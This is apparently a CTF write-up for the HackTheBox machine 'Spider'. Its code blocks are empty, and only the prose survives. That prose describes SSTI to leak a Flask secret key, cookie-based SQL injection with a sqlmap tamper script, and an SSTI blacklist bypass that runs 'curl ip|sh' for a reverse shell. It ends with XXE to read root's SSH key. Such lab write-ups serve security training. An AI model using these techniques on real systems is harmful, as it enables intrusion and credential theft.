User
Spider is a hard rated machine on HackTheBox created by InfoSecJack. This machine is all about web exploitation. For the user part we will first exploit a SSTI in the registration process which let’s us dump the flask config. From there we can sign and unsign our own cookies. In the cookie there is a SQLI vulnerability which we can exploit using a custom sqlmap tamper script. Dumping the database we get the credentials of the admin user chiv
, who has access to an admin panel. The admin panel reveals an unfinished support portal which is also vulnerable to SSTI. We are able to exploit this and achieve RCE resulting in a reverse shell.
Port 8080 is listening on localhost so we forward it to our machine and see another web application, this time completly in beta stage. Here the login functionality is vulnerable to xxe which we will abuse to read root’s id_rsa
and finally log in as root.
Nmap
As always we start our enumeration off with an nmap all ports scan against the target to see the full attack surface, followed by a script and version detection scan against the open ports.
All ports
1 |
|
Script and version
1 |
|
Amad Furniture
Flask config
Since ssh is rarely the first entry point we head over to port 80 where a webstore for chairs is running.
The application let’s us register an account and using a SSTI payload as username we can see it indeed get’s executed.
Sadly the username paramater is limited to 10 characters length, so it seems we can’t leverage this SSTI to RCE.
We can however dump the underlying config within the length limitation. This is possible in jinja2 with {{config}}
.
Heading over to /user
again we have sucessfully obtained the config, which also contains the SECRET_KEY
. This means we can now decode and forge our own cookies.
1 |
|
SQLI in cookie
Decoding the current cookie and looking at it’s structure, it looks like it might be worth checking for a possbible sqli vulnerability.
1 |
|
In a first test we add a single quote to uuid
, encode the cookie again and replace it with our current one in the browser.
1 |
|
This gives an error in the application which is a good sign for us. If we are able to fix the query now with a comment, SQLI is more than likely and we can try to exploit it.
To proof this thesis we sign another cookie but this time fixing the query with a comment.
1 |
|
This time the application doesn’t error which confirms our suspicion and we can take further steps.
Sqlmap won’t work out of the box against this type of SQLI, so we have to write a short tamper script ourselves to pass the payload to the uuid
parameter and sign the cookie. For this to work we also have to create an empty __init__.py
in the same directory as the tamper script wich doesn’t have to contain anything but need’s to exist prior to running sqlmap.
tamper.py
1 |
|
1 |
|
With all preparations met we can now run sqlmap and dump the database of the application.
1 |
|
After the dump finished we now have the credentials of the user chiv
and also an interesting looking page /a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal
.
SSTI blacklist => reverse shell
SSH has only key authentication set but we can use this credentials to log into the web application.
As chiv we now have access to the admin panel with additional functionality.
Clicking on messages we see the same message we already got in the sqlmap dump which hints on an unfinished support portal.
Going over to the support portal there is a ticket system which lets us issue tickets.
Playing around with the input certain characters and words are blocked like {{
. It seems like someone implemented a blacklist against SSTI.
Poking further we can identify multiple additional blacklisted values like .
if
and for
.
Since the message stated the support portal should be fixed we might be lucky and the blacklist is not implemented fully. {%
and with
seem to be working so we can adapt this jinja2 obfuscated payload from PayloadsAllTheThings.
1 |
|
Final payload:
1 |
|
This payload bypasses the .
restriction with |attr
and \x2e
. Also _
get’s replaced by \x5f
. The payload goes up the tree to python builtins and calls os.popen("curl ip|sh").read()
.
Contents of index.html:
1 |
|
First we set up a python webserver in the directory with index.html
and a ncat listener on the port we specified.
1 |
|
1 |
|
We then issue a request in Burp repeater with our payload on the support portal.
The target connects back to our webserver grabs index.html and passes its contents to sh.
1 |
|
This results in a reverse shell for us which we upgrade using python.
1 |
|
We are now able to grab the user flag on the machine.
1 |
|
Root
There is also an id_rsa in chiv’s home directory which we can use to have an even better shell on the machine.
1 |
|
1 |
|
Port forward
Looking at open ports with ss we see that port 8080
is listening on localhost.
1 |
|
To have a better look at it we forward it to our machine using the SSH connection. For this we press ~C
on a new line in the terminal which drops us in an interactive ssh command terminal where we can add the portforward.
1 |
|
Navigating to http://localhost:8090
we see a login page where can enter any username to login.
This looks like a beta application for another furniture shop with very limited functionality.
XXE to root
Here we have a flask cookie again which we can unsign like we did before.
1 |
|
This reveals a xml structure, which features the username and also the version number of the api, which is also passed in the login post request.
1 |
|
To check for a possible XXE in the cookie we have to add a DTD defintion to the xml.
We can do this by passing our DTD payload to the version parameter, breaking out of the comment, fixing it afterwards again and setting the username to the entity described in the DTD.
In a first run we try to read the /etc/passwd
file from the machine.
Issuing the request in burp repeater we get a new cookie which we use to replace our previous one in the browser and we see the /etc/passwd
file in the “Welcome message” in the place of the username.
We could read already read root.txt
at this point. But there is also a SSH key in /root/.ssh/id_rsa
and it is more satisfying to be actually root on the machine, so we send another request in burp.
We replace the cookie again and can now retrieve the root’s ssh key. For copying purpose it is easier to take the key from the source of the webpage pressing CTRL-U
With this key we can now log in as root and read the root flag.
1 |
|